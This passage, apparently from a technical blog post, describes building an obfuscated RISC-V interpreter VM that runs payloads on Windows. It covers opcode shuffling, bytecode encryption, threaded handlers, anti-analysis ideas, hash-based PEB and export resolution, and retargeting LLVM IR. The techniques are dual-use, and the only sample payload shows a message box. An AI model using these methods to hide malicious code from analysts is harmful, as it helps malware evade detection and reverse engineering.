The riscvm_get_peb is Windows-specific and it allows us to resolve exports, which we can then pass to the riscvm_host_call function to execute arbitrary code. Additionally, an optional host_syscall stub could be implemented, but this is not strictly necessary since we can just call the functions in ntdll.dll instead.

Toolchain and CRT

To keep the interpreter footprint as low as possible, we decided to develop a toolchain that outputs a freestanding binary. The goal is to copy this binary into memory and point the VM’s program counter there to start execution. Because we are in freestanding mode, there is no C runtime available to us, this requires us to handle initialization ourselves.

As an example, we will use the following hello.c file:

int _start() {
    int result = 0;
    for(int i = 0; i < 52; i++) {
        result += *(volatile int*)&i;
    }
    return result + 11;
}

We compile the program with the following incantation:

clang -target riscv64 -march=rv64im -mcmodel=medany -Os -c hello.c -o hello.o

And then verify by disassembling the object:

$ llvm-objdump --disassemble hello.o

hello.o:        file format elf64-littleriscv

0000000000000000 <_start>:
       0: 13 01 01 ff   addi    sp, sp, -16
       4: 13 05 00 00   li      a0, 0
       8: 23 26 01 00   sw      zero, 12(sp)
       c: 93 05 30 03   li      a1, 51

0000000000000010 <.LBB0_1>:
      10: 03 26 c1 00   lw      a2, 12(sp)
      14: 33 05 a6 00   add     a0, a2, a0
      18: 9b 06 16 00   addiw   a3, a2, 1
      1c: 23 26 d1 00   sw      a3, 12(sp)
      20: 63 40 b6 00   blt     a2, a1, 0x20 <.LBB0_1+0x10>
      24: 1b 05 b5 00   addiw   a0, a0, 11
      28: 13 01 01 01   addi    sp, sp, 16
      2c: 67 80 00 00   ret

The hello.o is a regular ELF object file. To get a freestanding binary we need to invoke the linker with a linker script:

ENTRY(_start)

LINK_BASE = 0x8000000;

SECTIONS
{
    . = LINK_BASE;
    __base = .;

    .text : ALIGN(16) {
        . = LINK_BASE;
        *(.text)
        *(.text.*)
    }

    .data : {
        *(.rodata)
        *(.rodata.*)
        *(.data)
        *(.data.*)
        *(.eh_frame)
    }

    .init : {
        __init_array_start = .;
        *(.init_array)
        __init_array_end = .;
    }

    .bss : {
        *(.bss)
        *(.bss.*)
        *(.sbss)
        *(.sbss.*)
    }

    .relocs : {
        . = . + SIZEOF(.bss);
        __relocs_start = .;
    }
}

This script is the result of an excessive amount of swearing and experimentation. The format is .name : { ... } where .name is the destination section and the stuff in the brackets is the content to paste in there. The special . operator is used to refer to the current position in the binary and we define a few special symbols for use by the runtime:

Symbol Meaning
__base Base of the executable.
__init_array_start Start of the C++ init arrays.
__init_array_end End of the C++ init arrays.
__relocs_start Start of the relocations (end of the binary).

These symbols are declared as extern in the C code and they will be resolved at link-time. While it may seem confusing at first that we have a destination section, it starts to make sense once you realize the linker has to output a regular ELF executable. That ELF executable is then passed to llvm-objcopy to create the freestanding binary blob. This makes debugging a whole lot easier (because we get DWARF symbols) and since we will not implement an ELF loader, it also allows us to extract the relocations for embedding into the final binary.

To link the intermediate ELF executable and then create the freestanding hello.pre.bin:

ld.lld.exe -o hello.elf --oformat=elf -emit-relocs -T ..\lib\linker.ld --Map=hello.map hello.o
llvm-objcopy -O binary hello.elf hello.pre.bin

For debugging purposes we also output hello.map, which tells us exactly where the linker put the code/data:

             VMA              LMA     Size Align Out     In      Symbol
               0                0        0     1 LINK_BASE = 0x8000000
               0                0  8000000     1 . = LINK_BASE
         8000000                0        0     1 __base = .
         8000000          8000000       30    16 .text
         8000000          8000000        0     1         . = LINK_BASE
         8000000          8000000       30     4         hello.o:(.text)
         8000000          8000000       30     1                 _start
         8000010          8000010        0     1                 .LBB0_1
         8000030          8000030        0     1 .init
         8000030          8000030        0     1         __init_array_start = .
         8000030          8000030        0     1         __init_array_end = .
         8000030          8000030        0     1 .relocs
         8000030          8000030        0     1         . = . + SIZEOF ( .bss )
         8000030          8000030        0     1         __relocs_start = .
               0                0       18     8 .rela.text
               0                0       18     8         hello.o:(.rela.text)
               0                0       3b     1 .comment
               0                0       3b     1         <internal>:(.comment)
               0                0       30     1 .riscv.attributes
               0                0       30     1         <internal>:(.riscv.attributes)
               0                0      108     8 .symtab
               0                0      108     8         <internal>:(.symtab)
               0                0       55     1 .shstrtab
               0                0       55     1         <internal>:(.shstrtab)
               0                0       5c     1 .strtab
               0                0       5c     1         <internal>:(.strtab)

The final ingredient of the toolchain is a small Python script (relocs.py) that extracts the relocations from the ELF file and appends them to the end of the hello.pre.bin. The custom relocation format only supports R_RISCV_64 and is resolved by our CRT like so:

typedef struct
{
    uint8_t  type;
    uint32_t offset;
    int64_t  addend;
} __attribute__((packed)) Relocation;

extern uint8_t __base[];
extern uint8_t __relocs_start[];

#define LINK_BASE    0x8000000
#define R_RISCV_NONE 0
#define R_RISCV_64   2

static __attribute((noinline)) void riscvm_relocs()
{
    if (*(uint32_t*)__relocs_start != 'ALER')
    {
        asm volatile("ebreak");
    }

    uintptr_t load_base = (uintptr_t)__base;

    for (Relocation* itr = (Relocation*)(__relocs_start + sizeof(uint32_t)); itr->type != R_RISCV_NONE; itr++)
    {
        if (itr->type == R_RISCV_64)
        {
            uint64_t* ptr = (uint64_t*)((uintptr_t)itr->offset - LINK_BASE + load_base);
            *ptr -= LINK_BASE;
            *ptr += load_base;
        }
        else
        {
            asm volatile("ebreak");
        }
    }
}

As you can see, the __base and __relocs_start magic symbols are used here. The only reason this works is the -mcmodel=medany we used when compiling the object. You can find more details in this article and in the RISC-V ELF Specification. In short, this flag allows the compiler to assume that all code will be emitted in a 2 GiB address range, which allows more liberal PC-relative addressing. The R_RISCV_64 relocation type gets emitted when you put pointers in the .data section:

void* functions[] = {
    &function1,
    &function2,
};

This also happens when using vtables in C++, and we wanted to support these properly early on, instead of having to fight with horrifying bugs later.

The next piece of the CRT involves the handling of the init arrays (which get emitted by global instances of classes that have a constructor):

typedef void (*InitFunction)();
extern InitFunction __init_array_start;
extern InitFunction __init_array_end;

static __attribute((optnone)) void riscvm_init_arrays()
{
    for (InitFunction* itr = &__init_array_start; itr != &__init_array_end; itr++)
    {
        (*itr)();
    }
}

Frustratingly, we were not able to get this function to generate correct code without the __attribute__((optnone)). We suspect this has to do with aliasing assumptions (the start/end can technically refer to the same memory), but we didn’t investigate this further.

Interpreter internals

Note: the interpreter was initially based on riscvm.c by edubart. However, we have since completely rewritten it in C++ to better suit our purpose.

Based on the RISC-V Calling Conventions document, we can create an enum for the 32 registers:

enum RegIndex
{
    reg_zero, // always zero (immutable)
    reg_ra,   // return address
    reg_sp,   // stack pointer
    reg_gp,   // global pointer
    reg_tp,   // thread pointer
    reg_t0,   // temporary
    reg_t1,
    reg_t2,
    reg_s0,   // callee-saved
    reg_s1,
    reg_a0,   // arguments
    reg_a1,
    reg_a2,
    reg_a3,
    reg_a4,
    reg_a5,
    reg_a6,
    reg_a7,
    reg_s2,   // callee-saved
    reg_s3,
    reg_s4,
    reg_s5,
    reg_s6,
    reg_s7,
    reg_s8,
    reg_s9,
    reg_s10,
    reg_s11,
    reg_t3,   // temporary
    reg_t4,
    reg_t5,
    reg_t6,
};

We just need to add a pc register and we have the structure to represent the RISC-V CPU state:

struct riscvm
{
    int64_t  pc;
    uint64_t regs[32];
};

It is important to keep in mind that the zero register is always set to 0 and we have to prevent writes to it by using a macro:

#define reg_write(idx, value)        \
    do                               \
    {                                \
        if (LIKELY(idx != reg_zero)) \
        {                            \
            self->regs[idx] = value; \
        }                            \
    } while (0)

The instructions (ignoring the optional compression extension) are always 32-bits in length and can be cleanly expressed as a union:

union Instruction
{
    struct
    {
        uint32_t compressed_flags : 2;
        uint32_t opcode           : 5;
        uint32_t                  : 25;
    };

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t rs2    : 5;
        uint32_t funct7 : 7;
    } rtype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t rs2    : 5;
        uint32_t shamt  : 1;
        uint32_t imm    : 6;
    } rwtype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t imm    : 12;
    } itype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t imm    : 20;
    } utype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t rd     : 5;
        uint32_t imm12  : 8;
        uint32_t imm11  : 1;
        uint32_t imm1   : 10;
        uint32_t imm20  : 1;
    } ujtype;

    struct
    {
        uint32_t opcode : 7;
        uint32_t imm5   : 5;
        uint32_t funct3 : 3;
        uint32_t rs1    : 5;
        uint32_t rs2    : 5;
        uint32_t imm7   : 7;
    } stype;

    struct
    {
        uint32_t opcode   : 7;
        uint32_t imm_11   : 1;
        uint32_t imm_1_4  : 4;
        uint32_t funct3   : 3;
        uint32_t rs1      : 5;
        uint32_t rs2      : 5;
        uint32_t imm_5_10 : 6;
        uint32_t imm_12   : 1;
    } sbtype;

    int16_t  chunks16[2];
    uint32_t bits;
};
static_assert(sizeof(Instruction) == sizeof(uint32_t), "");

There are 13 top-level opcodes (Instruction.opcode) and some of those opcodes have another field that further specializes the functionality (i.e. Instruction.itype.funct3). To keep the code readable, the enumerations for the opcode are defined in opcodes.h. The interpreter is structured to have handler functions for the top-level opcode in the following form:

bool handler_rv64_<opcode>(riscvm_ptr self, Instruction inst);

As an example, we can look at the handler for the lui instruction (note that the handlers themselves are responsible for updating pc):

ALWAYS_INLINE static bool handler_rv64_lui(riscvm_ptr self, Instruction inst)
{
    int64_t imm = bit_signer(inst.utype.imm, 20) << 12;
    reg_write(inst.utype.rd, imm);

    self->pc += 4;
    dispatch(); // return true;
}

The interpreter executes until one of the handlers returns false, indicating the CPU has to halt:

void riscvm_run(riscvm_ptr self)
{
    while (true)
    {
        Instruction inst;
        inst.bits = *(uint32_t*)self->pc;
        if (!riscvm_execute_handler(self, inst))
            break;
    }
}

Plenty of articles have been written about the semantics of RISC-V, so you can look at the source code if you’re interested in the implementation details of individual instructions. The structure of the interpreter also allows us to easily implement obfuscation features, which we will discuss in the next section.

For now, we will declare the handler functions as __attribute__((always_inline)) and set the -fno-jump-tables compiler option, which gives us a riscvm_run function that (comfortably) fits into a single page (0xCA4 bytes):

interpreter control flow graph

Hardening features

A regular RISC-V interpreter is fun, but an attacker can easily reverse engineer our payload by throwing it into Ghidra to decompile it. To force the attacker to at least look at our VM interpreter, we implemented a few security features. These features are implemented in a Python script that parses the linker MAP file and directly modifies the opcodes: encrypt.py.

Opcode shuffling

The most elegant (and likely most effective) obfuscation is to simply reorder the enums of the instruction opcodes and sub-functions. The shuffle.py script is used to generate shuffled_opcodes.h, which is then included into riscvm.h instead of opcodes.h to mix the opcodes:

#ifdef OPCODE_SHUFFLING
#warning Opcode shuffling enabled
#include "shuffled_opcodes.h"
#else
#include "opcodes.h"
#endif // OPCODE_SHUFFLING

There is also a shuffled_opcodes.json file generated, which is parsed by encrypt.py to know how to shuffle the assembled instructions.

Because enums are used for all the opcodes, we only need to recompile the interpreter to obfuscate it; there is no additional complexity cost in the implementation.

Bytecode encryption

To increase diversity between payloads for the same VM instance, we also employ a simple ‘encryption’ scheme on top of the opcode:

ALWAYS_INLINE static uint32_t tetra_twist(uint32_t input)
{
    /**
     * Custom hash function that is used to generate the encryption key.
     * This has strong avalanche properties and is used to ensure that
     * small changes in the input result in large changes in the output.
     */

    constexpr uint32_t prime1 = 0x9E3779B1; // a large prime number

    input ^= input >> 15;
    input *= prime1;
    input ^= input >> 12;
    input *= prime1;
    input ^= input >> 4;
    input *= prime1;
    input ^= input >> 16;

    return input;
}

ALWAYS_INLINE static uint32_t transform(uintptr_t offset, uint32_t key)
{
    uint32_t key2 = key + offset;
    return tetra_twist(key2);
}

ALWAYS_INLINE static uint32_t riscvm_fetch(riscvm_ptr self)
{
    uint32_t data;
    memcpy(&data, (const void*)self->pc, sizeof(data));

#ifdef CODE_ENCRYPTION
    return data ^ transform(self->pc - self->base, self->key);
#else
    return data;
#endif // CODE_ENCRYPTION
}

The offset relative to the start of the bytecode is used as the seed to a simple transform function. The result of this function is XOR’d with the instruction data before decoding. The exact transformation doesn’t really matter, because an attacker can always observe the decrypted bytecode at runtime. However, static analysis becomes more difficult and pattern-matching the payload is prevented, all for a relatively small increase in VM implementation complexity.

It would be possible to encrypt the contents of the .data section of the payload as well, but we would have to completely decrypt it in memory before starting execution anyway. Technically, it would be also possible to implement a lazy encryption scheme by customizing the riscvm_read and riscvm_write functions to intercept reads/writes to the payload region, but this idea was not pursued further.

Threaded handlers

The most interesting feature of our VM is that we only need to make minor code modifications to turn it into a so-called threaded interpreter. Threaded code is a well-known technique used both to speed up emulators and to introduce indirect branches that complicate reverse engineering. It is called threading because the execution can be visualized as a thread of handlers that directly branch to the next handler. There is no classical dispatch function, with an infinite loop and a switch case for each opcode inside. The performance improves because there are fewer false-positives in the branch predictor when executing threaded code. You can find more information about threaded interpreters in the Dispatch Techniques section of the YETI paper.

The first step is to construct a handler table, where each handler is placed at the index corresponding to each opcode. To do this we use a small snippet of constexpr C++ code:

typedef bool (*riscvm_handler_t)(riscvm_ptr, Instruction);

static constexpr std::array<riscvm_handler_t, 32> riscvm_handlers = []
{
    // Pre-populate the table with invalid handlers
    std::array<riscvm_handler_t, 32> result = {};
    for (size_t i = 0; i < result.size(); i++)
    {
        result[i] = handler_rv64_invalid;
    }

    // Insert the opcode handlers at the right index
#define INSERT(op) result[op] = HANDLER(op)
    INSERT(rv64_load);
    INSERT(rv64_fence);
    INSERT(rv64_imm64);
    INSERT(rv64_auipc);
    INSERT(rv64_imm32);
    INSERT(rv64_store);
    INSERT(rv64_op64);
    INSERT(rv64_lui);
    INSERT(rv64_op32);
    INSERT(rv64_branch);
    INSERT(rv64_jalr);
    INSERT(rv64_jal);
    INSERT(rv64_system);
#undef INSERT
    return result;
}();

With the riscvm_handlers table populated we can define the dispatch macro:

#define dispatch()                                       \
    Instruction next;                                    \
    next.bits = riscvm_fetch(self);                      \
    if (next.compressed_flags != 0b11)                   \
    {                                                    \
        panic("compressed instructions not supported!"); \
    }                                                    \
    __attribute__((musttail)) return riscvm_handlers[next.opcode](self, next)

The musttail attribute forces the call to the next handler to be a tail call. This is only possible because all the handlers have the same function signature and it generates an indirect branch to the next handler:

threaded handler disassembly

The final piece of the puzzle is the new implementation of the riscvm_run function, which uses an empty riscvm_execute handler to bootstrap the chain of execution:

ALWAYS_INLINE static bool riscvm_execute(riscvm_ptr self, Instruction inst)
{
    dispatch();
}

NEVER_INLINE void riscvm_run(riscvm_ptr self)
{
    Instruction inst;
    riscvm_execute(self, inst);
}

Traditional obfuscation

The built-in hardening features that we can get with a few #ifdefs and a small Python script are good enough for a proof-of-concept, but they are not going to deter a determined attacker for a very long time. An attacker can pattern-match the VM’s handlers to simplify future reverse engineering efforts. To address this, we can employ common obfuscation techniques using LLVM obfuscation passes:

  • Instruction substitution (to make pattern matching more difficult)
  • Opaque predicates (to hinder static analysis)
  • Inject anti-debug checks (to make dynamic analysis more difficult)

The paper Modern obfuscation techniques by Roman Oravec gives a nice overview of literature and has good data on what obfuscation passes are most effective considering their runtime overhead.

Additionally, it would also be possible to further enhance the VM’s security by duplicating handlers, but this would require extra post-processing on the payload itself. The VM itself is only part of what could be obfuscated. Obfuscating the payloads themselves is also something we can do quite easily. Most likely, manually-integrated security features (stack strings with xorstr, lazy_importer and variable encryption) will be most valuable here. However, because we use LLVM to build the payloads we can also employ automated obfuscation there. It is important to keep in mind that any overhead created in the payloads themselves is multiplied by the overhead created by the handler obfuscation, so experimentation is required to find the sweet spot for your use case.

Writing the payloads

The VM described in this post so far technically has the ability to execute arbitrary code. That being said, it would be rather annoying for an end-user to write said code. For example, we would have to manually resolve all imports and then use the riscvm_host_call function to actually execute them. These functions are executing in the RISC-V context and their implementation looks like this:

uintptr_t riscvm_host_call(uintptr_t address, uintptr_t args[13])
{
    register uintptr_t a0 asm("a0") = address;
    register uintptr_t a1 asm("a1") = (uintptr_t)args;
    register uintptr_t a7 asm("a7") = 20000;
    asm volatile("scall" : "+r"(a0) : "r"(a1), "r"(a7));
    return a0;
}

uintptr_t riscvm_get_peb()
{
    register uintptr_t a0 asm("a0") = 0;
    register uintptr_t a7 asm("a7") = 20001;
    asm volatile("scall" : "+r"(a0) : "r"(a7) : "memory");
    return a0;
}

We can get a pointer to the PEB using riscvm_get_peb and then resolve a module by its’ x65599 hash:

// Structure definitions omitted for clarity
uintptr_t riscvm_resolve_dll(uint32_t module_hash)
{
    static PEB* peb = 0;
    if (!peb)
    {
        peb = (PEB*)riscvm_get_peb();
    }
    LIST_ENTRY* begin = &peb->Ldr->InLoadOrderModuleList;
    for (LIST_ENTRY* itr = begin->Flink; itr != begin; itr = itr->Flink)
    {
        LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(itr, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
        if (entry->BaseNameHashValue == module_hash)
        {
            return (uintptr_t)entry->DllBase;
        }
    }
    return 0;
}

Once we’ve obtained the base of the module we’re interested in, we can resolve the import by walking the export table:

uintptr_t riscvm_resolve_import(uintptr_t image, uint32_t export_hash)
{
    IMAGE_DOS_HEADER*       dos_header      = (IMAGE_DOS_HEADER*)image;
    IMAGE_NT_HEADERS*       nt_headers      = (IMAGE_NT_HEADERS*)(image + dos_header->e_lfanew);
    uint32_t                export_dir_size = nt_headers->OptionalHeader.DataDirectory[0].Size;
    IMAGE_EXPORT_DIRECTORY* export_dir =
        (IMAGE_EXPORT_DIRECTORY*)(image + nt_headers->OptionalHeader.DataDirectory[0].VirtualAddress);
    uint32_t* names = (uint32_t*)(image + export_dir->AddressOfNames);
    uint32_t* funcs = (uint32_t*)(image + export_dir->AddressOfFunctions);
    uint16_t* ords  = (uint16_t*)(image + export_dir->AddressOfNameOrdinals);

    for (uint32_t i = 0; i < export_dir->NumberOfNames; ++i)
    {
        char*     name = (char*)(image + names[i]);
        uintptr_t func = (uintptr_t)(image + funcs[ords[i]]);
        // Ignore forwarded exports
        if (func >= (uintptr_t)export_dir && func < (uintptr_t)export_dir + export_dir_size)
            continue;
        uint32_t hash = hash_x65599(name, true);
        if (hash == export_hash)
        {
            return func;
        }
    }

    return 0;
}

Now we can call MessageBoxA from RISC-V with the following code:

// NOTE: We cannot use Windows.h here
#include <stdint.h>

int main()
{
    // Resolve LoadLibraryA
    auto kernel32_dll = riscvm_resolve_dll(hash_x65599("kernel32.dll", false))
    auto LoadLibraryA = riscvm_resolve_import(kernel32_dll, hash_x65599("LoadLibraryA", true))

    // Load user32.dll
    uint64_t args[13];
    args[0] = (uint64_t)"user32.dll";
    auto user32_dll = riscvm_host_call(LoadLibraryA, args);

    // Resolve MessageBoxA
    auto MessageBoxA = riscvm_resolve_import(user32_dll, hash_x65599("MessageBoxA", true));

    // Show a message to the user
    args[0] = 0; // hwnd
    args[1] = (uint64_t)"Hello from RISC-V!"; // msg
    args[2] = (uint64_t)"riscvm"; // title
    args[3] = 0; // flags
    riscvm_host_call(MessageBoxA, args);
}

With some templates/macros/constexpr tricks we can probably get this down to something more readable, but fundamentally this code will always stay annoying to write. Even if calling imports were a one-liner, we would still have to deal with the fact that we cannot use Windows.h (or any of the Microsoft headers for that matter). The reason for this is that we are cross-compiling with Clang. Even if we were to set up the include paths correctly, it would still be a major pain to get everything to compile correctly. That being said, our VM works! A major advantage of RISC-V is that, since the instruction set is simple, once the fundamentals work, we can be confident that features built on top of this will execute as expected.

Whole Program LLVM

Usually, when discussing LLVM, the compilation process is running on Linux/macOS. In this section, we will describe a pipeline that can actually be used on Windows, without making modifications to your toolchain. This is useful if you would like to analyze/fuzz/obfuscate Windows applications, which might only compile an MSVC-compatible compiler: clang-cl.

Link-time optimization (LTO)

Without LTO, the object files produced by Clang are native COFF/ELF/Mach-O files. Every file is optimized and compiled independently. The linker loads these objects and merges them together into the final executable.

When enabling LTO, the object files are instead LLVM Bitcode (.bc) files. This allows the linker to merge all the LLVM IR together and perform (more comprehensive) whole-program optimizations. After the LLVM IR has been optimized, the native code is generated and the final executable produced. The diagram below comes from the great Link-time optimisation (LTO) post by Ryan Stinnet:

LTO workflow

Compiler wrappers

Unfortunately, it can be quite annoying to write an executable that can replace the compiler. It is quite simple when dealing with a few object files, but with bigger projects it gets quite tricky (especially when CMake is involved). Existing projects are WLLVM and gllvm, but they do not work nicely on Windows. When using CMake, you can use the CMAKE_<LANG>_COMPILER_LAUNCHER variables and intercept the compilation pipeline that way, but that is also tricky to deal with.

On Windows, things are more complex than on Linux. This is because Clang uses a different program to link the final executable and correctly intercepting this process can become quite challenging.

Embedding bitcode

To achieve our goal of post-processing the bitcode of the whole program, we need to enable bitcode embedding. The first flag we need is -flto, which enables LTO. The second flag is -lto-embed-bitcode, which isn’t documented very well. When using clang-cl, you also need a special incantation to enable it:

set(EMBED_TYPE "post-merge-pre-opt") # post-merge-pre-opt/optimized
if(NOT CMAKE_CXX_COMPILER_ID MATCHES "Clang")
    if(WIN32)
        message(FATAL_ERROR "clang-cl is required, use -T ClangCL --fresh")
    else()
        message(FATAL_ERROR "clang compiler is required")
    endif()
elseif(CMAKE_CXX_COMPILER_FRONTEND_VARIANT MATCHES "^MSVC$")
    # clang-cl
    add_compile_options(-flto)
    add_link_options(/mllvm:-lto-embed-bitcode=${EMBED_TYPE})
elseif(WIN32)
    # clang (Windows)
    add_compile_options(-fuse-ld=lld-link -flto)
    add_link_options(-Wl,/mllvm:-lto-embed-bitcode=${EMBED_TYPE})
else()
	# clang (Linux)
    add_compile_options(-fuse-ld=lld -flto)
    add_link_options(-Wl,-lto-embed-bitcode=${EMBED_TYPE})
endif()

The -lto-embed-bitcode flag creates an additional .llvmbc section in the final executable that contains the bitcode. It offers three settings:

-lto-embed-bitcode=<value> - Embed LLVM bitcode in object files produced by LTO
    =none                  - Do not embed 
    =optimized             - Embed after all optimization passes
    =post-merge-pre-opt    - Embed post merge, but before optimizations

Once the bitcode is embedded within the output binary, it can be extracted using llvm-objcopy and disassembled with llvm-dis. This is normally done as the follows:

llvm-objcopy --dump-section=.llvmbc=program.bc program
llvm-dis program.bc > program.ll

Unfortunately, we discovered a bug/oversight in LLD on Windows. The section is extracted without errors, but llvm-dis fails to load the bitcode. The reason for this is that Windows executables have a FileAlignment attribute, leading to additional padding with zeroes. To get valid bitcode, you need to remove some of these trailing zeroes:

import argparse
import sys
import pefile

def main():
    # Parse the arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("executable", help="Executable with embedded .llvmbc section")
    parser.add_argument("--output", "-o", help="Output file name", required=True)
    args = parser.parse_args()
    executable: str = args.executable
    output: str = args.output

    # Find the .llvmbc section
    pe = pefile.PE(executable)
    llvmbc = None
    for section in pe.sections:
        if section.Name.decode("utf-8").strip("\x00") == ".llvmbc":
            llvmbc = section
            break
    if llvmbc is None:
        print("No .llvmbc section found")
        sys.exit(1)

    # Recover the bitcode and write it to a file
    with open(output, "wb") as f:
        data = bytearray(llvmbc.get_data())
        # Truncate all trailing null bytes
        while data[-1] == 0:
            data.pop()
        # Recover alignment to 4
        while len(data) % 4 != 0:
            data.append(0)
        # Add a block end marker
        for _ in range(4):
            data.append(0)
        f.write(data)

if __name__ == "__main__":
    main()

In our testing, this doesn’t have any issues, but there might be cases where this heuristic does not work properly. In that case, a potential solution could be to brute force the amount of trailing zeroes, until the bitcode parses without errors.

Applications

Now that we have access to our program’s bitcode, several applications become feasible:

  • Write an analyzer to identify potentially interesting locations within the program.
  • Instrument the bitcode and then re-link the executable, which is particularly useful for code coverage while fuzzing.
  • Obfuscate the bitcode before re-linking the executable, enhancing security.
  • IR retargeting, where the bitcode compiled for one architecture can be used on another.

Relinking the executable

The bitcode itself unfortunately does not contain enough information to re-link the executable (although this is something we would like to implement upstream). We could either manually attempt to reconstruct the linker command line (with tools like Process Monitor), or use LLVM plugin support. Plugin support is not really functional on Windows (although there is some indication that Sony is using it for their PS4/PS5 toolchain), but we can still load an arbitrary DLL using the -load command line flag. Once we loaded our DLL, we can hijack the executable command line and process the flags to generate a script for re-linking the program after our modifications are done.

Retargeting LLVM IR

Ideally, we would want to write code like this and magically get it to run in our VM:

#include <Windows.h>

int main()
{
    MessageBoxA(0, "Hello from RISC-V!", "riscvm", 0);
}

Luckily this is entirely possible, it just requires writing a (fairly) simple tool to perform transformations on the Bitcode of this program (built using clang-cl). In the coming sections, we will describe how we managed to do this using Microsoft Visual Studio’s official LLVM integration (i.e. without having to use a custom fork of clang-cl).

The LLVM IR of the example above looks roughly like this (it has been cleaned up slightly for readability):

source_filename = "hello.c"
target datalayout = "e-m:w-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-windows-msvc19.38.33133"

@message = dso_local global [19 x i8] c"Hello from RISC-V!\00", align 16
@title = dso_local global [7 x i8] c"riscvm\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = call i32 @MessageBoxA(ptr noundef null, ptr noundef @message, ptr noundef @title, i32 noundef 0)
  ret i32 0
}

declare dllimport i32 @MessageBoxA(ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1

attributes #0 = { noinline nounwind optnone uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }

!llvm.linker.options = !{!0, !0}
!llvm.module.flags = !{!1, !2, !3}
!llvm.ident = !{!4}

!0 = !{!"/DEFAULTLIB:uuid.lib"}
!1 = !{i32 1, !"wchar_size", i32 2}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 16.0.5"}

To retarget this code to RISC-V, we need to do the following:

  • Collect all the functions with a dllimport storage class.
  • Generate a riscvm_imports function that resolves all the function addresses of the imports.
  • Replace the dllimport functions with stubs that use riscvm_host_call to call the import.
  • Change the target triple to riscv64-unknown-unknown and adjust the data layout.
  • Compile the retargeted bitcode and link it together with crt0 to create the final payload.

Adjusting the metadata

After loading the LLVM IR Module, the first step is to change the DataLayout and the TargetTriple to be what the RISC-V backend expects:

module.setDataLayout("e-m:e-p:64:64-i64:64-i128:128-n32:64-S128");
module.setTargetTriple("riscv64-unknown-unknown");
module.setSourceFileName("transpiled.bc");

The next step is to collect all the dllimport functions for later processing. Additionally, a bunch of x86-specific function attributes are removed from every function:

std::vector<Function*> importedFunctions;
for (Function& function : module.functions())
{
	// Remove x86-specific function attributes
	function.removeFnAttr("target-cpu");
	function.removeFnAttr("target-features");
	function.removeFnAttr("tune-cpu");
	function.removeFnAttr("stack-protector-buffer-size");

	// Collect imported functions
	if (function.hasDLLImportStorageClass() && !function.getName().startswith("riscvm_"))
	{
		importedFunctions.push_back(&function);
	}
	function.setDLLStorageClass(GlobalValue::DefaultStorageClass);

Finally, we have to remove the llvm.linker.options metadata to make sure we can pass the IR to llc or clang without errors.

Import map

The LLVM IR only has the dllimport storage class to inform us that a function is imported. Unfortunately, it does not provide us with the DLL the function comes from. Because this information is only available at link-time (in files like user32.lib), we decided to implement an extra -importmap argument.

The extract-bc script that extracts the .llvmbc section now also has to extract the imported functions and what DLL they come from:

with open(importmap, "wb") as f:
	for desc in pe.DIRECTORY_ENTRY_IMPORT:
		dll = desc.dll.decode("utf-8")
		for imp in desc.imports:
			name = imp.name.decode("utf-8")
			f.write(f"{name}:{dll}\n".encode("utf-8"))

Currently, imports by ordinal and API sets are not supported, but we can easily make sure those do not occur when building our code.

Creating the import stubs

For every dllimport function, we need to add some IR to riscvm_imports to resolve the address. Additionally, we have to create a stub that forwards the function arguments to riscvm_host_call. This is the generated LLVM IR for the MessageBoxA stub:

; Global variable to hold the resolved import address
@import_MessageBoxA = private global ptr null

define i32 @MessageBoxA(ptr noundef %0, ptr noundef %1, ptr noundef %2, i32 noundef %3) local_unnamed_addr #1 {
entry:
  %args = alloca ptr, i32 13, align 8
  %arg3_zext = zext i32 %3 to i64
  %arg3_cast = inttoptr i64 %arg3_zext to ptr
  %import_address = load ptr, ptr @import_MessageBoxA, align 8
  %arg0_ptr = getelementptr ptr, ptr %args, i32 0
  store ptr %0, ptr %arg0_ptr, align 8
  %arg1_ptr = getelementptr ptr, ptr %args, i32 1
  store ptr %1, ptr %arg1_ptr, align 8
  %arg2_ptr = getelementptr ptr, ptr %args, i32 2
  store ptr %2, ptr %arg2_ptr, align 8
  %arg3_ptr = getelementptr ptr, ptr %args, i32 3
  store ptr %arg3_cast, ptr %arg3_ptr, align 8
  %return = call ptr @riscvm_host_call(ptr %import_address, ptr %args)
  %return_cast = ptrtoint ptr %return to i64
  %return_trunc = trunc i64 %return_cast to i32
  ret i32 %return_trunc
}

The uint64_t args[13] array is allocated on the stack using the alloca instruction and every function argument is stored in there (after being zero-extended). The GlobalVariable named import_MessageBoxA is read and finally riscvm_host_call is executed to call the import on the host side. The return value is truncated as appropriate and returned from the stub.

The LLVM IR for the generated riscvm_imports function looks like this:

; Global string for LoadLibraryA
@str_USER32.dll = private constant [11 x i8] c"USER32.dll\00"

define void @riscvm_imports() {
entry:
  %args = alloca ptr, i32 13, align 8
  %kernel32.dll_base = call ptr @riscvm_resolve_dll(i32 1399641682)
  %import_LoadLibraryA = call ptr @riscvm_resolve_import(ptr %kernel32.dll_base, i32 -550781972)
  %arg0_ptr = getelementptr ptr, ptr %args, i32 0
  store ptr @str_USER32.dll, ptr %arg0_ptr, align 8
  %USER32.dll_base = call ptr @riscvm_host_call(ptr %import_LoadLibraryA, ptr %args)
